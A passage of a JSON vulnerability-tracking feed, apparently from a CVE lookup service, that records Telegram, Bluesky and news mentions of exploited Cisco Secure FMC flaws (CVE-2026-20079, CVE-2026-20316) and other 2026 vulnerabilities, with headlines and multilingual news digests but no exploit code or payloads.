"Telegram/uUtnno_VEuouvWhn_29Osxsno0-8bymP_h88l7hsSYncMeY", "content": "", "creation_timestamp": "2026-09-13T15:00:05.681689Z"}, {"uuid": "a1a90a9c-8e09-4032-8b97-b44a1642a22b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "Telegram/atcv8EwBIbBdFIko-Fk_Da89kwxzBANel4SqvKTGg4HZ_w", "content": "", "creation_timestamp": "2026-09-11T00:00:28.214924Z"}, {"uuid": "267a688e-a0a1-468f-8d46-3c064f220306", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/101954", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20805-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ZeroDayEvil\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-10 15:49:18\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-11T00:00:31.660650Z"}, {"uuid": "e8f83b52-9cc2-4d85-9705-70ae6ecb4fe4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/101928", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20805-POC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ZeroDayEvil\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-10 11:29:37\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-11T00:00:34.654130Z"}, {"uuid": "fe3d7830-a837-4bc8-bb88-5e6aebda29da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "published-proof-of-concept", "source": "https://t.me/CYPERMRED/82", "content": "\ud83d\udee1 \u0623\u0628\u0631\u0632 \u0627\u0644\u0623\u062e\u0628\u0627\u0631 \u0627\u0644\u0633\u064a\u0628\u0631\u0627\u0646\u064a\u0629 \u0644\u0647\u0630\u0627 \u0627\u0644\u0623\u0633\u0628\u0648\u0639 .\n\n\ud83d\uddd3 \u062a\u0627\u0631\u064a\u062e \u0627\u0644\u064a\u0648\u0645: 15 \u0645\u0627\u064a\u0648 2026\n\n\u2705 \u0637\u0648\u0631 \u0645\u0647\u0627\u0631\u062a\u0643 \u0627\u0644\u0633\u064a\u0628\u0631\u0627\u0646\u064a\u0629 \u0639\u0628\u0631 \u0627\u0644\u062f\u0648\u0631\u0627\u062a \u0627\u0644\u0627\u062d\u062a\u0631\u0627\u0641\u064a\u0629 \u0639\u0644\u0649 \u0623\u0643\u0627\u062f\u064a\u0645\u064a\u0629 \u0627\u0644\u062f\u0631\u0639 \u0627\u0644\u0623\u062e\u0636\u0631 \ud83d\udc47\ud83c\udffb\nhttps://greenarmor.academy\n\n\n1\ufe0f\u20e3 \u0634\u0631\u0643\u0629 Cisco\u060c \u062b\u063a\u0631\u0629 \u062d\u0631\u062c\u0629 \u0641\u064a SD-WAN:\n\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0641\u0639\u0644\u064a \u0644\u062b\u063a\u0631\u0629 CVE-2026-20127 \u0628\u062a\u0642\u064a\u064a\u0645 CVSS 10.0 \u0641\u064a Cisco Catalyst SD-WAN Controller\u060c \u0648\u0642\u062f \u062a\u0633\u0645\u062d \u0644\u0644\u0645\u0647\u0627\u062c\u0645 \u0628\u062a\u062c\u0627\u0648\u0632 \u0627\u0644\u0645\u0635\u0627\u062f\u0642\u0629 \u0648\u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0625\u062f\u0627\u0631\u064a\u0629.\n\ud83d\udccc https://thehackernews.com/2026/02/cisco-sd-wan-zero-day-cve-2026-20127.html\n\n2\ufe0f\u20e3 \u0645\u0646\u0635\u0629 Ollama\u060c \u062a\u0633\u0631\u064a\u0628 \u0630\u0627\u0643\u0631\u0629 \u0645\u0646 \u062e\u0648\u0627\u062f\u0645 \u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a:\n\u062b\u063a\u0631\u0629 CVE-2026-7482 \u0642\u062f \u062a\u0633\u0645\u062d \u0644\u0645\u0647\u0627\u062c\u0645 \u0639\u0646 \u0628\u064f\u0639\u062f \u0648\u0628\u062f\u0648\u0646 \u0645\u0635\u0627\u062f\u0642\u0629 \u0628\u062a\u0633\u0631\u064a\u0628 \u0630\u0627\u0643\u0631\u0629 \u0627\u0644\u0639\u0645\u0644\u064a\u0629 \u0639\u0628\u0631 \u0645\u0644\u0641\u0627\u062a GGUF \u062e\u0628\u064a\u062b\u0629\u060c \u0645\u0639 \u0627\u062d\u062a\u0645\u0627\u0644 \u062a\u0623\u062b\u0631 \u0623\u0643\u062b\u0631 \u0645\u0646 300,000 \u062e\u0627\u062f\u0645 \u0645\u0643\u0634\u0648\u0641. \n\ud83d\udccc https://thehackernews.com/2026/05/ollama-out-of-bounds-read-vulnerability.html\n\n3\ufe0f\u20e3 \u0634\u0631\u0643\u0629 Microsoft\u060c \u062a\u062d\u062f\u064a\u062b\u0627\u062a \u0623\u0645\u0646\u064a\u0629 \u0648\u0627\u0633\u0639\u0629:\n\u0645\u0627\u064a\u0643\u0631\u0648\u0633\u0648\u0641\u062a \u0623\u0635\u062f\u0631\u062a \u062a\u062d\u062f\u064a\u062b\u0627\u062a \u0644\u0645\u0639\u0627\u0644\u062c\u0629 138 \u062b\u063a\u0631\u0629 \u0623\u0645\u0646\u064a\u0629 \u0641\u064a \u0645\u0646\u062a\u062c\u0627\u062a\u0647\u0627\u060c \u0645\u0646 \u0628\u064a\u0646\u0647\u0627 \u062b\u063a\u0631\u0627\u062a \u062d\u0631\u062c\u0629 \u0641\u064a Windows DNS \u0648Netlogon \u0648Azure \u0648Dynamics 365 \u0648Hyper-V. \n\ud83d\udccc https://thehackernews.com/2026/05/microsoft-patches-138-vulnerabilities.html\n\n4\ufe0f\u20e3 \u0646\u0638\u0627\u0645 Windows\u060c \u062b\u063a\u0631\u0627\u062a Zero-Day \u062c\u062f\u064a\u062f\u0629:\n\u062a\u0645 \u0646\u0634\u0631 \u062a\u0641\u0627\u0635\u064a\u0644 \u062b\u063a\u0631\u062a\u064a\u0646 \u0644\u0645 \u064a\u062a\u0645 \u0627\u0635\u0644\u0627\u062d\u0647\u0645 \u0628\u0639\u062f \u0641\u064a Windows: YellowKey \u0644\u062a\u062c\u0627\u0648\u0632 BitLocker\u060c \u0648GreenPlasma \u0644\u062a\u0635\u0639\u064a\u062f \u0627\u0644\u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0639\u0628\u0631 CTFMON. \n\ud83d\udccc https://thehackernews.com/2026/05/windows-zero-days-expose-bitlocker.html\n\n5\ufe0f\u20e3 \u0645\u0646\u0635\u0629 cPanel\u060c \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0648\u0627\u0633\u0639 \u0644\u062b\u063a\u0631\u0629 \u062e\u0637\u064a\u0631\u0629:\n\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0646\u0634\u0637 \u0644\u062b\u063a\u0631\u0629 CVE-2026-41940 \u0641\u064a cPanel \u0648WHM \u0644\u0646\u0634\u0631 Backdoor \u0628\u0627\u0633\u0645 Filemanager\u060c \u0645\u0639 \u0631\u0628\u0637 \u0627\u0644\u062d\u0645\u0644\u0629 \u0628\u062c\u0647\u0629 \u062a\u0647\u062f\u064a\u062f \u062a\u064f\u0639\u0631\u0641 \u0628\u0627\u0633\u0645 Mr_Rot13. \n\ud83d\udccc https://thehackernews.com/2026/05/cpanel-cve-2026-41940-under-active.html\n\n6\ufe0f\u20e3 \u0634\u0631\u0643\u0629 Palo Alto Networks\u060c \u062b\u063a\u0631\u0629 \u062e\u0637\u064a\u0631\u0629 \u0641\u064a PAN-OS:\n\u062b\u063a\u0631\u0629 CVE-2026-0300 \u0641\u064a User-ID Authentication Portal \u062a\u0633\u0645\u062d \u0628\u062a\u0646\u0641\u064a\u0630 \u0643\u0648\u062f \u0639\u0646 \u0628\u064f\u0639\u062f \u0628\u0635\u0644\u0627\u062d\u064a\u0627\u062a root \u0639\u0644\u0649 \u0623\u062c\u0647\u0632\u0629 PA-Series \u0648VM-Series\u060c \u0648\u062a\u0645 \u0631\u0635\u062f \u0627\u0633\u062a\u063a\u0644\u0627\u0644\u0647\u0627 \u0641\u0639\u0644\u064a\u064b\u0627. \n\ud83d\udccc https://thehackernews.com/2026/05/palo-alto-pan-os-flaw-under-active.html\n\n7\ufe0f\u20e3 \u062e\u0627\u062f\u0645 Exim\u060c \u062b\u063a\u0631\u0629 Dead.Letter\n\u062b\u063a\u0631\u0629 CVE-2026-45185 \u0641\u064a Exim: \u0639\u0646\u062f \u0627\u0633\u062a\u062e\u062f\u0627\u0645 GnuTLS \u0642\u062f \u062a\u0624\u062f\u064a \u0625\u0644\u0649 \u062a\u0644\u0641 \u0641\u064a \u0627\u0644\u0630\u0627\u0643\u0631\u0629 \u0648\u0631\u0628\u0645\u0627 \u062a\u0646\u0641\u064a\u0630 \u0643\u0648\u062f \u0639\u0646 \u0628\u064f\u0639\u062f\u060c \u0644\u0630\u0644\u0643 \u064a\u064f\u0646\u0635\u062d \u0628\u0627\u0644\u062a\u062d\u062f\u064a\u062b \u0641\u0648\u0631\u064b\u0627. \n\ud83d\udccc https://thehackernews.com/2026/05/new-exim-bdat-vulnerability-exposes.html\n\n8\ufe0f\u20e3 \u0633\u0644\u0633\u0644\u0629 \u062a\u0648\u0631\u064a\u062f\u060c Mini Shai-Hulud:\n\u062d\u0645\u0644\u0629 Supply Chain \u062e\u0628\u064a\u062b\u0629 \u0627\u0633\u062a\u0647\u062f\u0641\u062a \u062d\u0632\u0645 npm \u0648PyPI \u0645\u0631\u062a\u0628\u0637\u0629 \u0628\u0645\u0634\u0627\u0631\u064a\u0639 \u0645\u062b\u0644 TanStack \u0648Mistral AI \u0648Guardrails AI\u060c \u0645\u0639 \u0633\u0631\u0642\u0629 \u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0639\u062a\u0645\u0627\u062f \u0648GitHub/OIDC tokens. \n\ud83d\udccc https://thehackernews.com/2026/05/mini-shai-hulud-worm-compromises.html\n\n9\ufe0f\u20e3 \u0645\u0646\u0635\u0629 Hugging Face\u060c \u0645\u0633\u062a\u0648\u062f\u0639 OpenAI \u0645\u0632\u064a\u0641:\n\u0645\u0633\u062a\u0648\u062f\u0639 \u062e\u0628\u064a\u062b \u0627\u0646\u062a\u062d\u0644 \u0627\u0633\u0645 OpenAI Privacy Filter \u0648\u0648\u0635\u0644 \u0625\u0644\u0649 \u0627\u0644\u0645\u0631\u0643\u0632 \u0627\u0644\u0623\u0648\u0644 \u0641\u064a \u0627\u0644\u062a\u0631\u0646\u062f\u060c \u0648\u062d\u0642\u0642 \u0646\u062d\u0648 244,000 \u062a\u062d\u0645\u064a\u0644 \u062e\u0644\u0627\u0644 18 \u0633\u0627\u0639\u0629\u060c \u0648\u0643\u0627\u0646 \u064a\u0646\u0634\u0631 Infostealer \u0639\u0644\u0649 \u0623\u062c\u0647\u0632\u0629 Windows. \n\ud83d\udccc https://thehackernews.com/2026/05/fake-openai-privacy-filter-repo-hits-1.html\n\n\ud83d\udd1f \u0646\u0638\u0627\u0645 Linux\u060c \u062b\u063a\u0631\u0629 Fragnesia \u0644\u062a\u0635\u0639\u064a\u062f \u0627\u0644\u0635\u0644\u0627\u062d\u064a\u0627\u062a:\n\u062b\u063a\u0631\u0629 CVE-2026-46300 \u0627\u0644\u0645\u0639\u0631\u0648\u0641\u0629 \u0628\u0627\u0633\u0645 Fragnesia \u062a\u0633\u0645\u062d \u0644\u0645\u0633\u062a\u062e\u062f\u0645 \u0645\u062d\u0644\u064a \u0628\u062a\u0635\u0639\u064a\u062f \u0627\u0644\u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0625\u0644\u0649 root \u0639\u0628\u0631 \u062e\u0644\u0644 \u0641\u064a Linux Kernel\u060c \u0648\u0647\u064a \u0645\u0631\u062a\u0628\u0637\u0629 \u0628\u0633\u0644\u0633\u0644\u0629 Dirty Frag. \n\ud83d\udccc https://www.microsoft.com/en-us/security/blog/2026/05/08/active-attack-dirty-frag-linux-vulnerability-expands-post-compromise-risk/\n\n1\ufe0f\u20e31\ufe0f\u20e3 \u062e\u0627\u062f\u0645 NGINX\u060c \u062b\u063a\u0631\u0629 \u0639\u0645\u0631\u0647\u0627 18 \u0633\u0646\u0629:\n\u062b\u063a\u0631\u0629 NGINX Rift CVE-2026-42945 \u0641\u064a ngx_http_rewrite_module \u0642\u062f \u062a\u0633\u0645\u062d \u0628\u062a\u0646\u0641\u064a\u0630 \u0643\u0648\u062f \u0639\u0646 \u0628\u064f\u0639\u062f \u0623\u0648 \u062a\u0639\u0637\u064a\u0644 \u0627\u0644\u062e\u062f\u0645\u0629 \u0639\u0628\u0631 \u0637\u0644\u0628\u0627\u062a HTTP \u0645\u0635\u0645\u0645\u0629 \u062e\u0635\u064a\u0635\u064b\u0627. \n\ud83d\udccc https://thehackernews.com/2026/05/18-year-old-nginx-rewrite-module-flaw.html", "creation_timestamp": "2026-09-14T00:00:11.057530Z"}, {"uuid": "924297c2-bebf-49fb-83e6-d70d9908975a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://t.me/information_security_channel/55884", "content": "Organizations Warned of Cisco Secure FMC Exploitation\nhttps://www.securityweek.com/organizations-warned-of-cisco-secure-fmc-exploitation/\n\nCisco and CISA have flagged exploitation of CVE-2026-20079, a vulnerability disclosed in March 2026.\nThe post Organizations Warned of Cisco Secure FMC Exploitation (https://www.securityweek.com/organizations-warned-of-cisco-secure-fmc-exploitation/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2026-09-11T00:00:36.147708Z"}, {"uuid": "710da86a-7a0c-4bda-a1e6-d43e31cb9a7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "exploited", "source": "https://t.me/BleepingComputer/25525", "content": "\u200aCisco confirms CVE-2026-20079 Secure FMC flaw exploited in attacks\n\nCisco has confirmed that a maximum-severity authentication bypass vulnerability tracked as CVE-2026-20079 in its Secure Firewall Management Center (FMC) software is being actively exploited in attacks. [...]\n\nhttps://www.bleepingcomputer.com/news/security/cisco-confirms-cve-2026-20079-secure-fmc-flaw-exploited-in-attacks/", "creation_timestamp": "2026-09-11T00:00:46.709626Z"}, {"uuid": "43d4f022-2888-4a2d-ae46-4440b0a7129f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://www.securityweek.com/organizations-warned-of-cisco-secure-fmc-exploitation/", "content": "Cisco and CISA have flagged exploitation of CVE-2026-20079, a vulnerability disclosed in March 2026.\n\nThe post Organizations Warned of Cisco Secure FMC Exploitation appeared first on SecurityWeek.", "creation_timestamp": "2026-09-11T01:00:34.960830Z"}, {"uuid": "5497d9da-fe40-487c-ae36-691d625887a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://thehackernews.com/2026/09/cisa-flags-exploited-cisco-citrix.html", "content": "The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Wednesday added three flaws, each impacting Cisco, Citrix, and Fortinet, to its Known Exploited Vulnerabilities (KEV) catalog, requiring Federal Civilian Executive Branch (FCEB) agencies to apply the patches by September 12, 2026.\n\nThe vulnerabilities are listed below -\n\n\n  CVE-2026-20079 (CVSS score: 10.0) - An authentication", "creation_timestamp": "2026-09-11T01:00:35.739078Z"}, {"uuid": "afb1393d-46f7-4f51-a1af-f1cea6b7c1a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://threatintel.cc/2026/09/10/cisco-fmc-flaws-exploited-by.html", "content": "Cisco FMC flaws exploited by ransomware gang, state-sponsored hackers\n\nThree threat clusters, including state-sponsored actors and Qilin ransomware affiliates, have exploited two critical Cisco FMC vulnerabilities to deploy web shells, Cyclops Blink malware, and steal sensitive credentials. Cisco has confirmed the exploitation of CVE-2026-20079 and CVE-2026-20316 and urges all customers to install the released hotfixes immediately.", "creation_timestamp": "2026-09-11T01:00:35.910283Z"}, {"uuid": "70dc0ebf-ea79-4d27-b0f1-b85c4f0e1b7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://threatintel.cc/2026/09/10/cisco-fmc-flaws-exploited-by.html", "content": "Cisco FMC flaws exploited by ransomware gang, state-sponsored hackers\n\nThree threat clusters, including state-sponsored actors and Qilin ransomware affiliates, have exploited two critical Cisco FMC vulnerabilities to deploy web shells, Cyclops Blink malware, and steal sensitive credentials. Cisco has confirmed the exploitation of CVE-2026-20079 and CVE-2026-20316 and urges all customers to install the released hotfixes immediately.", "creation_timestamp": "2026-09-11T01:00:35.977545Z"}, {"uuid": "aa52cb76-405e-4bf4-80f2-df024c36dc81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/ninjaowl.ai/post/3mv7ejwobk32o", "content": "Cisco confirms CVE-2026-20079 Secure FMC flaw exploited in attacks #cybersecurity #hacking #news #infosec #security #technology #privacy", "creation_timestamp": "2026-09-11T01:01:28.686246Z"}, {"uuid": "2d17eae5-f8b7-4c27-a70c-43a4c356e5fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mv7pgqy2gs4b", "content": "Cisco FMC\u306e\u8106\u5f31\u6027\u3001\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u30a2\u30af\u30bf\u30fc\u3084\u56fd\u5bb6\u578b\u30cf\u30c3\u30ab\u30fc\u306b\u60aa\u7528\u3055\u308c\u308b\uff1aCVE-2026-20079\u3001CVE-2026-20316 | Codebook\uff5cSecurity News https://codebook.machinarecord.com/threatreport/silobreaker-cyber-alert/47682/", "creation_timestamp": "2026-09-11T04:16:55.578476Z"}, {"uuid": "dfec8ca8-cb7e-4c31-8c1b-25a3203b92b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mv7pgqy2gs4b", "content": "Cisco FMC\u306e\u8106\u5f31\u6027\u3001\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u30a2\u30af\u30bf\u30fc\u3084\u56fd\u5bb6\u578b\u30cf\u30c3\u30ab\u30fc\u306b\u60aa\u7528\u3055\u308c\u308b\uff1aCVE-2026-20079\u3001CVE-2026-20316 | Codebook\uff5cSecurity News https://codebook.machinarecord.com/threatreport/silobreaker-cyber-alert/47682/", "creation_timestamp": "2026-09-11T04:16:55.632742Z"}, {"uuid": "bf91ce7a-876b-4883-a70f-198adc449a7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mv7qnqqrpq2e", "content": "Cisco FMC bugs exploited by nation-state and ransomware actors (CVE-2026-20079, CVE-2026-20316)\uff08Cisco FMC\u306e\u8106\u5f31\u6027\u3001\u56fd\u5bb6\u652f\u63f4\u578b\u653b\u6483\u8005\u3084\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u653b\u6483\u8005\u304c\u60aa\u7528\uff09 #HelpNetSecurity \uff08Sep 10\uff09\n\nwww.helpnetsecurity.com/2026/09/10/c...", "creation_timestamp": "2026-09-11T04:38:25.409111Z"}, {"uuid": "b3b945ea-be08-43a8-8a9c-5367afa62db3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mv7qnqqrpq2e", "content": "Cisco FMC bugs exploited by nation-state and ransomware actors (CVE-2026-20079, CVE-2026-20316)\uff08Cisco FMC\u306e\u8106\u5f31\u6027\u3001\u56fd\u5bb6\u652f\u63f4\u578b\u653b\u6483\u8005\u3084\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u653b\u6483\u8005\u304c\u60aa\u7528\uff09 #HelpNetSecurity \uff08Sep 10\uff09\n\nwww.helpnetsecurity.com/2026/09/10/c...", "creation_timestamp": "2026-09-11T04:38:25.472086Z"}, {"uuid": "03719388-7c9d-4387-bc83-2345f49c03b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mv7vdda6jw2c", "content": "\ud83e\udd16 Cisco Talos: three clusters (ransomware + state-sponsored) exploited two patched Cisco Secure FMC flaws (CVE-2026-20079, CVE-2026-20316) in the wild. Patch now.\nhttps://www.bleepingcomputer.com/news/security/cisco-fmc-flaws-exploited-by-ransomware-gang-state-sponsored-hackers/", "creation_timestamp": "2026-09-11T06:02:00.570238Z"}, {"uuid": "7e2718c1-5d54-48e5-92f5-33801f04d390", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mv7vdda6jw2c", "content": "\ud83e\udd16 Cisco Talos: three clusters (ransomware + state-sponsored) exploited two patched Cisco Secure FMC flaws (CVE-2026-20079, CVE-2026-20316) in the wild. Patch now.\nhttps://www.bleepingcomputer.com/news/security/cisco-fmc-flaws-exploited-by-ransomware-gang-state-sponsored-hackers/", "creation_timestamp": "2026-09-11T06:02:00.619545Z"}, {"uuid": "2882d27b-ab9e-4e16-8365-461739e49d1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mv7xacocub2p", "content": "Top 3 CVE for last 7 days:\nCVE-2026-85046: 46 interactions\nCVE-2026-85880: 22 interactions\nCVE-2026-44756: 18 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-20079: 6 interactions\nCVE-2026-78082: 4 interactions\nCVE-2026-86218: 4 interactions\n", "creation_timestamp": "2026-09-11T06:36:07.128696Z"}, {"uuid": "483b44ec-e1b3-4261-91e9-c56fd8ad9511", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/securitycyebruk.bsky.social/post/3mv7zbl4tbq2j", "content": "If your Cisco Secure FMC is internet-facing, CVE-2026-20079 is being exploited in the wild \u2014 restrict access to management interfaces and follow Cisco's guidance now. https://cti.securitycyber.uk", "creation_timestamp": "2026-09-11T07:12:36.624324Z"}, {"uuid": "d5b305d0-4b0a-4009-bb20-510a099d2dfe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://t.me/thehackernews/10029", "content": "\ud83d\udea8 Three threat clusters exploited Cisco FMC flaws to steal credentials, deploy Cyclops Blink, and push Qilin ransomware.\n\nBoth flaws are now in CISA\u2019s KEV catalog. Federal agencies must patch CVE-2026-20079 by September 12.\n\nInside the attack chains: https://thehackernews.com/2026/09/cisco-fmc-flaws-exploited-to-steal.html", "creation_timestamp": "2026-09-11T08:00:06.872479Z"}, {"uuid": "f7292f84-4df5-4c76-9ccb-371916d184b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3mva4s5b6yq2v", "content": "Cisco Talos is tracking active exploitation of two vulnerabilities in Cisco Secure Firewall Management Center (FMC) Software: CVE-2026-20079 (authentication bypass, CVSS 10.0) and CVE-2026-20316 (low-privileged login, CVSS 5.3).", "creation_timestamp": "2026-09-11T08:15:35.289235Z"}, {"uuid": "8898f677-5056-4347-a6cd-750bf777a3f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3mva4s5b6yq2v", "content": "Cisco Talos is tracking active exploitation of two vulnerabilities in Cisco Secure Firewall Management Center (FMC) Software: CVE-2026-20079 (authentication bypass, CVSS 10.0) and CVE-2026-20316 (low-privileged login, CVSS 5.3).", "creation_timestamp": "2026-09-11T08:15:35.347167Z"}, {"uuid": "925886b8-d957-4f3f-969e-9d15f388416f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mva72amqds2g", "content": "\ud83d\udd34 Cisco FMC CVE-2026-20079 actively exploited\n\nCritical CVSS 10.0 authentication bypass allows remote attackers with no credentials to execute commands and gain root access on Cisco Secure FMC.\n\nstemshop.top/blog/cisco-f...\n\n#CVE #CVE202620079 #Cisco #FMC #Firewall #CyberSecurity", "creation_timestamp": "2026-09-11T08:55:59.685113Z"}, {"uuid": "5affdc32-5e6d-4c05-81f7-578eda7ca95b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://t.me/true_secator/8597", "content": "\u0411\u043e\u043b\u0435\u0435 36 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Plex Media, \u043d\u0430\u0445\u043e\u0434\u044f\u0449\u0438\u0445\u0441\u044f \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435 \u0432 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435, \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u043c\u0438 \u043e\u0442 \u043c\u043d\u043e\u0433\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 